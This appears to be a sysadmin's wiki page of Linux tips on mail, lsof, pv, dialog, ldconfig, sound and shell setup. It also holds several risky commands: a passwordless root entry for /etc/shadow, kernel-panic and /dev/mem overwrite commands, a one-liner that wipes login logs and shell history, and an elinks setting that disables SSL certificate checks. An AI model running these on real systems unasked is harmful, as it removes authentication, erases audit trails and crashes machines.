 * Users regularly need just a fraction of the functionality provided by larger applications, such as word processors, for their daily work. To avoid inactive program components unnecessarily hogging RAM – and OpenOffice has over 200MB of this stuff – developers tend to offload them into special files. In Linux, these dynamic libraries are identifiable by their .so suffix. When a user triggers a specific action, the program locates the matching library, loads it into RAM, and runs the requested function. This strategy keeps the applications lean, and to update, you simply install a newer version of the library.

C Include Path
Try setting C_INCLUDE_PATH (for C header files) or CPLUS_INCLUDE_PATH (for C++ header files).

More details: http://www.network-theory.co.uk/docs/gccintro/gccintro_23.html

Source:

Directly: gcc -c program.c -I. -I./libs

xmail
UNIX / Linux: Shell Scripting With mail Command:

How do I send e-mails from a shell script including file attachments?

mail -s 'subject' username mail -s 'subject' vivek@nixcraft.net.in mail -s 'Duplicate ip detected' -c vivek@nixcraft.net.in ipadmin@nixcraft.net.in </var/log/ipscan.log mail -s 'yum update failed' -c vivek@nixcraft.net.in -b sysadins@groups.nixcraft.net.in </var/log/yum.log mail -s 'Disk failure' vivek@nixcraft.net.in < /tmp/message

Method #1: Sending File Attachments

The mail command will not work. You need to use uuencode command to send a binary file called reports.tar.gz: uuencode reports.tar.gz reports.tar.gz | mail -s "Weekly Reports for $(date)" admin@groups.mgmt.nixcraft.net.i

You can email images or any file using the same format: uuencode file1.png file1.png | mail -s "Funny" users@groups.nixcraft.net.i

Tip #2: Writing Mail Body Using Here documents

... .... mail -s "Disk Failed" vivek@nixcraft.net.in<<EOF NAS server [ mounted at $(hostname) ] is running out of disk space!!! Current allocation ${_SPACE} @ $(date) EOF ... ..
 * 1) !/bin/bash

Send HTML Email from Command Line
cat <<EOF | sendmail -t To: kenneth@t0e.org From: kenneth@t0e.org Subject: Test email MIME-Version: 1.0 Content-Type: text/html

This is a test email EOF

timelimit
timelimit — limit a process's absolute execution time:
 * http://devel.ringlet.net/sysutils/timelimit/


 * "timelimit executes a command and terminates the spawned process after a given time with a given signal. A “warning” signal is sent first, then, after a timeout, a “kill” signal, similar to the way init(8) operates on shutdown."

wget http://devel.ringlet.net/sysutils/timelimit/timelimit-1.7.tar.gz tar -zvxf timelimit-1.7.tar.gz cd timelimit-1.7 make

Test: ./timelimit -t 5 sleep 10

Date
See Linux/Date

ls
See Linux/ls

logrotate
See Linux/logrotate

TTY
The TTY demystified - http://www.linusakesson.net/programming/tty/index.php


 * "What if I told you, that it is possible to explicitly put the TTY in a blocking state even though there is space left in the kernel buffer? That until further notice, every process trying to write(2) to the TTY automatically blocks. What would be the use of such a feature?"


 * "We have already seen that a TTY device may be configured to give certain data bytes a special treatment. In the default configuration, for instance, a received ^C byte won't be handed off to the application through read(2), but will instead cause a SIGINT to be delivered to the foreground job. In a similar way, it is possible to configure the TTY to react on a stop flow byte and a start flow byte. These are typically ^S (ASCII code 19) and ^Q (ASCII code 17) respectively. Old hardware terminals transmit these bytes automatically, and expect the operating system to regulate its flow of data accordingly. This is called flow control, and it's the reason why your xterm sometimes appears to lock up when you accidentally press ^S."

There is also a command line tool, called stty(1), to manipulate TTY devices. It uses the termios(3) API.

$ stty -a speed 38400 baud; rows 73; columns 238; line = 0; intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = ; eol2 = ; swtch = ; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O; min = 1; time = 0; -parenb -parodd cs8 -hupcl -cstopb cread -clocal -crtscts -ignbrk brkint ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany imaxbel -iutf8 opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0 isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke

downtimed
downtimed | freshmeat.net - http://freshmeat.net/projects/downtimed


 * downtimed is a program that monitors operating system downtime, uptime, shutdowns, and crashes and records such events. At OS startup it logs information about previous downtime. It then periodically updates a time stamp file on the disk, which is used to determine the approximate time when the system was last up and running. During a graceful system shutdown, it records a time stamp in another file. The downtimes(1) command line tool can be used to inspect records of past downtime.

/downtimed/ - http://dist.epipe.com/downtimed/


 * downtimed is a program for monitoring operating system downtime, uptime, shutdowns and crashes and for keeping record of such events.


 * downtimed(8) is a daemon process which is intended to be started automatically from system boot scripts every time when the operating system of a server starts. First the daemon logs its findings about the previous downtime to a specified logging destination as well as in a database file which can be displayed with downtimes(1) command.


 * Thereafter the downtimed(8) daemon just keeps waiting in the background and periodically updates a time stamp file on the disk. The time stamp is used to determine the approximate time when the system was last up and running. In case of a graceful system shutdown it records a stamp to another file on the disk. These files are used for reporting the next time the daemon starts.


 * downtimes(1) is a command-line tool which can be used to inspect previous downtime records recorded in the downtime database file.


 * This sofware works currently on recent FreeBSD and GNU/Linux based operating system distributions. It can be ported to other modern UNIX-like operating systems relatively easily. The software is available under Simplified BSD license.

downtimed installation
wget http://dist.epipe.com/downtimed/downtimed-0.4.tar.gz tar -zvxf downtimed-0.4.tar.gz cd downtimed-0.4 ./configure --prefix=/opt/downtimed make sudo make install

downtimd issues
Error on compile (oh redhat): downtimedb.c: In function ‘downtimedb_read’: downtimedb.c:113: warning: implicit declaration of function ‘be64toh’ downtimedb.c: In function ‘downtimedb_write’: downtimedb.c:126: warning: implicit declaration of function ‘htobe64’

This apparently does not happen on Debian.

root no password
If you lock yourself out of the system, you can set root's password to nothing and login without a password:

/etc/shadow: root:$1$FcWSa7pQ$l3LocMAQ/KMj2tfpOx8OE/:15032:0:99999:7::: root::15032:0:99999:7:::
 * 1) change to:

With password: [kenneth@prime ~]$ su - Password: [root@prime ~]#

No password: [kenneth@prime ~]$ su - [root@prime ~]#

Note: this will work with regular user accounts as well. [kenneth@prime ~]$ su - bethany [bethany@prime ~]$

lsof
lsof - list open files: (for potential file locks)

lsof -p $$  # List paths that process id has open ($$ = process id of current shell) lsof ~	List processes that have specified path open

lsof lsof | grep ' root ' | awk '{print $NF}' | sort | uniq | wc -l lsof | grep ' root ' | awk '{print $NF}' | sort -u | wc -l

How many files does user chris have open: lsof -u chris lsof -u chris | wc -l

How many files does process 2381 have open: lsof | grep 2381 | wc -l ls -l /proc/2381/fd/

List open network addresses: lsof -ni  # don't convert host address to names lsof -nPi # don't convert port numbers to names

How to track down umount device is busy
If you try to unmount a partition and get a message like this: umount: /media/usbdisk: device is busy
 * 1) umount /media/usbdisk/

use the lsof command to find out what programs are using what files:
 * 1) lsof /media/usbdisk/

This shows which programs are using the device. For an even clearer picture, use the device rather than the mountpoint:
 * 1) lsof /dev/sdb1

You either can wait until those processes exit or terminate them manually.

pv
pv - monitor the progress of data through a pipe
 * pv(1): monitor progress of data through pipe - Linux man page - http://linux.die.net/man/1/pv

A simple example to watch how quickly a file is transferred using nc(1): pv file | nc -w 1 somewhere.com 3000

A similar example, transferring a file from another process and passing the expected size to pv: cat file | pv -s 12345 | nc -w 1 somewhere.com 3000

A more complicated example using numeric output to feed into the dialog(1) program for a full-screen progress display: (tar cf - . \ | pv -n -s 'du -sb . | awk '{print $1}'' \ | gzip -9 > out.tgz) 2>&1 \ | dialog --gauge 'Progress' 7 70

pv allows a user to see the progress of data through a pipeline, by giving information such as time elapsed, percentage completed (with progress bar), current throughput rate, total data transferred, and ETA.

To use it, insert it in a pipeline between two processes, with the appropriate options. Its standard input will be passed through to its standard output and progress will be shown on standard error.

gauge box
A progress bar (gauge box) - Linux Shell Scripting Tutorial - A Beginner's handbook - http://bash.cyberciti.biz/guide/A_progress_bar_%28gauge_box%29

echo percentage | dialog --gauge "text" height width percent echo "10" | dialog --gauge "Please wait" 10 70 0 echo "50" | dialog --gauge "Please wait" 10 70 0 echo "100" | dialog --gauge "Please wait" 10 70 0

Overall progress: for i in $(seq 0 10 100) ; do sleep 1; echo $i | dialog --gauge "Please wait" 10 70 0; done

For complicated prompt, feed the following: XXX $counter Message XXX

Sample with prompt message: counter=30 echo -e "XXX\n$counter\nThis is the prompt message ($counter%)\nXXX" | dialog --gauge "Please wait" 7 70 0
 * 1) increment counter and repeat...

Sample progress bar (no copy actually happens) counter=0 ( while : do cat <<EOF XXX $counter Disk copy /dev/dvd to /home/data ( $counter%): XXX EOF (( counter+=10 )) [ $counter -eq 100 ] && break sleep 1 done ) | dialog --title "File Copy" --gauge "Please wait" 7 70 0
 * 1) !/bin/bash
 * 2) dvdcopy.sh - A sample shell script to display a progress bar
 * 3) set counter to 0
 * 1) set infinite while loop
 * 1) increase counter by 10
 * 1) delay it a specified amount of time i.e 1 sec

bar
Theiling Online: ASCII bar - http://www.theiling.de/projects/bar.html

This is a small shell script intended to be used in portable Unix install scripts for showing progress bars.

The overall goal is to write a minimally complex shell script (thus a program that needs no compilation) that is as robust as possible to work on as many Bourne shells and operating systems as possible, and that implements ‘cat’ with an ASCII progress bar and some other nifty features.

This is pure Bourne shell code. (For sh, ash, ksh, zsh, bash, ...)

The script is mainly intended to be used in portable install scripts, where you can use the body of the script.


 * Append files

Standard: cat file1 file2 file2 > file3

With Progress Bar: bar file1 file2 file2 > file3


 * Copy a file

Standard: cp infile outfile

With Progress Bar: bar -o outfile infile

dd progress

 * 1) dd if=/dev/zero of=/dev/sdb5 &
 * 2) P=$!

Then I checked its progress periodically,


 * 1) kill -USR1 $P

Source:

kernel driver RAM usage
free -m lsmod  # size on load size driver.ko # driver size details cat /proc/kallsyms | grep module_name pmap -d `pidof ` grep Slab /proc/meminfo modinfo modulename

References:
 * linux - Memory usage of a kernel module - Stack Overflow - http://stackoverflow.com/questions/662526/memory-usage-of-a-kernel-module
 * Howto identify kernel module memory usage? (Page 1) / Newbie Corner / Arch Linux Forums - https://bbs.archlinux.org/viewtopic.php?id=108421

delete illegal or bad filename
illegal bad control character file:

Create illegal filename: touch -- "-e"

Remove illegal filename: rm -- "-e"

wget
See wget

curl
See curl

PS1 Prompt
CentOS 5 Example: export PS1="[\u@\h \W]\$ "
 * 1) [root@kmanage ~]#

mktemp
/bin/mktemp /tmp/myfile.XXXXXX

mknod
Example of making /dev/sd* devices: mknod /dev/sda b 8 0 mknod /dev/sda1 b 8 1 mknod /dev/sda2 b 8 2 mknod /dev/sda3 b 8 3

mknod /dev/sdb b 8 16 mknod /dev/sdb1 b 8 17 mknod /dev/sdb2 b 8 18 mknod /dev/sdb3 b 8 19

mknod /dev/sdc b 8 32 mknod /dev/sdc1 b 8 33 mknod /dev/sdc2 b 8 34 mknod /dev/sdc3 b 8 35

Would create: $ ls -la /dev/sd* brw-r- 1 root disk 8, 0 Feb  3 00:16 /dev/sda brw-r- 1 root disk 8, 1 Feb  3 00:16 /dev/sda1 brw-r- 1 root disk 8, 2 Feb  3 00:16 /dev/sda2 brw-r- 1 root disk 8, 3 Feb  3 00:16 /dev/sda3 brw-r- 1 root disk 8, 16 Feb 3 00:16 /dev/sdb brw-r- 1 root disk 8, 17 Feb 3 00:16 /dev/sdb1 brw-r- 1 root disk 8, 18 Feb 3 00:16 /dev/sdb2 brw-r- 1 root disk 8, 19 Feb 3 00:16 /dev/sdb3 brw-r- 1 root disk 8, 32 Feb 3 00:16 /dev/sdc brw-r- 1 root disk 8, 33 Feb 3 00:16 /dev/sdc1 brw-r- 1 root disk 8, 34 Feb 3 00:16 /dev/sdc2 brw-r- 1 root disk 8, 35 Feb 3 00:16 /dev/sdc3

fmt and pr
Reformat a text file for printing

fmt -60 book  # reformat with 60 characters per line  (wrap at...) pr           # format file for printing (with headers)
 * 1) format file for printing

Installation: yum install coreutils

dialog
dialog - display dialog boxes from shell scripts

See dialog

xargs
xargs - build and execute command lines from standard input

See xargs

dd
See dd

grep
See grep

CPU Burn-in
CPU Burn-in Homepage - http://cpuburnin.com/
 * Linux and Windows

http://cpuburnin.com/downloads/cpuburn-in.tar.gz

Simple Cat Burn
cat /dev/zero > /dev/null

cat /dev/random > /dev/null

References:
 * performance - How can I produce high CPU load on a Linux server? - Super User - http://superuser.com/questions/443406/how-can-i-produce-high-cpu-load-on-a-linux-server

Python Burn
from multiprocessing import Pool

def f(x): # Put any cpu (only) consuming operation here. I have given 1 below - while True: x * x

no_of_cpu_to_be_consumed = 3
 * 1) decide how many cpus you need to load with.

p = Pool(processes=no_of_cpu_to_be_consumed) p.map(f, range(no_of_cpu_to_be_consumed))

References:
 * performance - How can I produce high CPU load on a Linux server? - Super User - http://superuser.com/questions/443406/how-can-i-produce-high-cpu-load-on-a-linux-server

Bash Loop Burn
for i in 1 2 3 4; do while : ; do : ; done & ; done

x="x" ; while : ; do x=$x$x ; echo -n "." ; done

CORES=1 ; for i in `seq 1 $CORES`; do cat /dev/zero > /dev/null & done

References:
 * performance - How can I produce high CPU load on a Linux server? - Super User - http://superuser.com/questions/443406/how-can-i-produce-high-cpu-load-on-a-linux-server

cpuburn
sudo apt-get install cpuburn for i in {1..4}; do burnK7 & done

References:
 * performance - How can I produce high CPU load on a Linux server? - Super User - http://superuser.com/questions/443406/how-can-i-produce-high-cpu-load-on-a-linux-server

USB
See Linux USB

Linux NFS Boot
See Diskless

RAM Disk
See Linux RAM Disk

elinks
elinks - yum install elinks

Configuration: /etc/elinks.conf # Do not verify the peer's SSL certificate. set connection.ssl.cert_verify = 0

keywords: TUI Web Browsers

device mapper
Device mapper - Wikipedia - http://en.wikipedia.org/wiki/Device_mapper

List device maps: dmsetup ls

Device map info: dmsetup info [device]

Create device map: dmsetup create

UPS
See Linux/UPS

See Linux/UPS

LD_LIBRARY_PATH
If you ever happen to want to link against installed libraries in a given directory, LIBDIR, you must either use libtool, and specify the full pathname of the library, or use the `-LLIBDIR' flag during linking and do at least one of the following: - add LIBDIR to the `LD_LIBRARY_PATH' environment variable during execution - add LIBDIR to the `LD_RUN_PATH' environment variable during linking - use the `-Wl,-rpath -Wl,LIBDIR' linker flag - have your system administrator add LIBDIR to `/etc/ld.so.conf'

See any operating system documentation about shared libraries for more information, such as the ld(1) and ld.so(8) manual pages.

ldconfig
cp libmylib.so.1.0 /usr/lib ldconfig -n /usr/lib/ ln -sf /usr/lib/libmylib.so.1 /usr/lib/libmylib.so

ldconfig -v -n /opt/zeromq/lib/

ldconfig -p

Force Kernel Panic
The "echo 1 > /proc/sys/kernel/panic" is also a fun, but not-so-dangerous command.

This is a handy way to kernel panic: dd if=/dev/random of=/dev/port

apparently this works as well: cat /dev/port

As the root user, run the following command: cat /dev/zero > /dev/mem

Forcing an Alt-SysReq-c command from the console by running the following command: echo c > /proc/sysrq-trigger

True kernel panic force_panic.c:
 * 1) ifdef __KERNEL__

/* Makefile : obj-m := force_panic.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd)

default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules


 * 1) include <linux/module.h>
 * 2) include <linux/kernel.h>

static int __init panic_init(void) { panic("force-panic"); return 0; }

static void __exit panic_exit(void) { }

module_init(panic_init); module_exit(panic_exit);


 * 1) endif

Generate a kernel oops: static int crash_module_init(void)

{    printf("crash module starting\n"); int *p = 0;

printk("%d\n", *p);

return 0; }

static void crash_module_exit(void) {   printf("crash module exiting\n"); }

module_init(crash_module_init); module_exit(crash_module_exit);

References:
 * How to force a Linux kernel panic | geekworld.co.za - http://archive.geekworld.co.za/node/277
 * How to cause kernel panic with a single command? - Unix & Linux Stack Exchange - http://unix.stackexchange.com/questions/66197/how-to-cause-kernel-panic-with-a-single-command
 * linux - How to test the kernel for kernel panics? - Stack Overflow - http://unix.stackexchange.com/questions/66197/how-to-cause-kernel-panic-with-a-single-command
 * simulating kernel panic - The UNIX and Linux Forums - http://www.unix.com/showthread.php?t=131850
 * Linux Crash HOWTO - http://www.faqs.org/docs/Linux-HOWTO/Linux-Crash-HOWTO.html#AEN94

Build Kernel Module
Howto: Build Linux Kernel Module Against Installed Kernel w/o Full Kernel Source Tree - http://www.cyberciti.biz/tips/build-linux-kernel-module-against-installed-kernel-source-tree.html

Rescan SCSI
echo "- - -" > /sys/class/scsi_host/host0/scan

Sound
How To


 * The Linux Sound HOWTO: Installation - http://linux-audio.com/Sound-HOWTO-4.html
 * Alsa-sound-mini-HOWTO: Testing and using - http://www.tldp.org/HOWTO/Alsa-sound-6.html

--

Device

To see the sound modules: cat /proc/modules | grep snd

The /proc/asound/ virtual directory shows lots of other information about the driver. ls /dev/asound/

The alsa drivers have native sound-devices in the /dev/snd/ directory ls /dev/snd/

On a VMware Workstation: (CentOS and Ubuntu) 02:02.0 Multimedia audio controller: Ensoniq ES1371 [AudioPCI-97] (rev 02)
 * 1) lspci | grep -i audio

0 [AudioPCI      ]: ENS1371 - Ensoniq AudioPCI Ensoniq AudioPCI ENS1371 at 0x2080, irq 16
 * 1) cat /proc/asound/cards

On a CentOS Server: 00:14.2 Audio device: Advanced Micro Devices, Inc. [AMD/ATI] SBx00 Azalia (Intel HDA) (rev 40) 01:05.1 Audio device: Advanced Micro Devices, Inc. [AMD/ATI] RS880 HDMI Audio [Radeon HD 4200 Series]
 * 1) lspci | grep -i audio

0 [SB            ]: HDA-Intel - HDA ATI SB                      HDA ATI SB at 0xfe6f4000 irq 74 1 [HDMI          ]: HDA-Intel - HDA ATI HDMI HDA ATI HDMI at 0xfe8e8000 irq 82
 * 1) cat /proc/asound/cards

On a Raspberry Pi:
 * 1) lspci  ## DOES NOT WORK

0 [ALSA          ]: BRCM bcm2835 ALSbcm2835 ALSA - bcm2835 ALSA bcm2835 ALSA 1 [webcam        ]: USB-Audio - boynq iris webcam yousp Corp. boynq iris webcam at usb-bcm2708_usb-1.3.2, high speed
 * 1) cat /proc/asound/cards

-

Play wav directly:
 * 1) cat endoftheworld >/dev/dsp
 * 2) cat crash.au >/dev/audio

Record 4 seconds from mic:
 * 1) dd bs=8k count=4 </dev/audio >sample.au

-

Alsa Mixer

On a Raspberry Pi: (note no Master volume) Simple mixer control 'PCM',0 Capabilities: pvolume pvolume-joined pswitch pswitch-joined penum Playback channels: Mono Limits: Playback -10239 - 400 Mono: Playback -1725 [80%] [-17.25dB] [on]
 * 1) amixer

amixer set Master 15 amixer set "Master d" unmute amixer set Master 100 unmute amixer set "Master d" 100; amixer set PCM 100 unmute

-

Toggle sound:
 * 1) !/bin/bash

CURRENT_STATE=`amixer get Master | egrep 'Playback.*?\[o' | egrep -o '\[o.+\]'`

if $CURRENT_STATE == '[on]' ; then amixer set Master mute else amixer set Master unmute amixer set Front unmute amixer set Headphone unmute fi

if amixer -c 0 get Master | grep -q off then amixer set Master unmute #amixer set PCM unmute else amixer set Master mute fi
 * 1) !/bin/bash


 * 1) !/bin/bash

MIC_STATUS=off amixer get 'Internal Mic',0 | grep "\[off\]" > /dev/null || MIC_STATUS=on
 * 1) get mic status

case $MIC_STATUS in	on) amixer sset 'Internal Mic',0 mute ;;	off) amixer sset 'Internal Mic',0 unmute ;; *) ;; esac

11.10 - How do I toggle sound with amixer? - Ask Ubuntu - http://askubuntu.com/questions/65764/how-do-i-toggle-sound-with-amixer

--

/dev/sndstat

"/dev/sndstat is  a  text  formatted  device  special file that returns information about available (OSS) sound devices. This  device  file  is obsolete and the ossinfo(1) utility should be used instead." 

Shows up in Debian, not in Ubuntu/CentOS?

On a VMware Workstation: ... Installed drivers: Type 10: ALSA emulation
 * 1) cat /dev/sndstat

Card config: Ensoniq AudioPCI ENS1371 at 0x2080, irq 16 ...

On a Raspberry Pi: Installed drivers: Type 10: ALSA emulation

Card config: bcm2835 ALSA

"The /dev/sndstat device file is obsolete and the ossinfo utility should be used instead." 

--

Pulse Audio

Appears to need to be started per user?

Start Pulse Audio daemon:
 * 1) pulseaudio -D


 * 1) /usr/bin/pulseaudio --start --log-target=syslog

Test with:
 * 1) mpg123 music.mp3

On Debian/Ubuntu it is started by gdm: /usr/bin/pulseaudio --start --log-target=syslog

Config: /etc/pulse/client.conf /etc/pulse/daemon.conf

Determine which mount a folder is on
df. df [PATH]

References:
 * How to find out mount/partition a directory or file is on? (Linux Server) - Stack Overflow - http://stackoverflow.com/questions/3274354/how-to-find-out-mount-partition-a-directory-or-file-is-on-linux-server

Pianobar
See Linux/Pandora

reboot
shutdown -r

reboot

SysRq
Check state: cat /proc/sys/kernel/sysrq

Enable: echo 1 > /proc/sys/kernel/sysrq

Disable: echo 0 > /proc/sys/kernel/sysrq

Force unclean reboot: echo b > /proc/sysrq-trigger

Force less-unclean reboot: sync ; echo b > /proc/sysrq-trigger

Linux Book Notes
(trying to remember which book)

ssh login: su - kenneth: profile baschrc .bashrc .bash_profile

bash: su kenneth: bashrc .bashrc

alias ls='ls -F' alias ll="ls -l"

$HOME $SHELL $USER $PATH

export PS1='$PWD>' export PS1=`hostname`'>' echo PS1=$(hostname)'>'

mail .forward file

filter: sort

finger command .plan .project chmod a+r ~/.plan ~/.project

find -xdev -maxdepth levels -ok command \; # like exec but with confirmation -name foo\* -name "foo*"

grep pattern /dev/null file find /usr/include -xtype f -exec grep foobar /dev/null {} \;
 * 1) useful in find exec to show which file

combine: find. \( -fstype nfs -prune \) -o \ \( -type d -a -exec chmod 771 {} \; \) -o \ \( -name "*.BAK" -a -exec /bin/rm {} \; \) -o \ \( -nmae "*.sh"  -a -exec chmod 755 {} \; \)

find /home -xdev -size +500k -ls > piggies

-atime in days accessed -ctime in days chmod or file status -mtime in days file modification

-amin -cmin -mmin

rsh beta 'dd if=/dev/rst0 ibs=8k obs=20k' | tar xvBf -

vi - ZZ equivalent to :wq

vi +10 myfile

1G go to first line /str ?str backwards n N


 * %s/ */&&/g  # double spaces
 * 1,5s/help/&ing  # replace help with helping in first 5 lines

prompt

\e ASCII escape character 033 \h base hostname \H full hostname \u username \w working directory \W base working directory \[ begin special sequence \] end special sequence

PS1="\u@\h \W> "

PROMPT_COMMAND PROMPT_COMMAND="echo -n [$(date +%H%M)]" PROMPT_COMMAND="echo -n [$(date +%H%M)]" PS1="[\$(date +%H%M)][\u@\h:\w]\$ " unset PROMPT_COMMAND

cat /proc/sys/kernel/core_pattern kill -SIGSEGV strings core

.bashrc vs .bash_profile vs .profile
Referring to within user's home directory...

Ubuntu
 * default files: .profile, .bashrc (.profile loads .bashrc, if found))
 * if .bash_profile is found then .bashrc/.profile will be ignored
 * none run on non login session


 * 1) ~/.profile: executed by the command interpreter for login shells.
 * 2) This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
 * 3) exists.
 * 4) see /usr/share/doc/bash/examples/startup-files for examples.


 * 1) ~/.bashrc: executed by bash(1) for non-login shells.
 * 2) see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
 * 3) for examples

CentOS:

Clear Lastlog
Clear last log: >/var/log/lastlog ; >/var/log/wtmp ; >/var/log/btmp ; >/var/log/auth.log ; >/root/.bash_history ; history -c ; exit

keywords
linux linux linux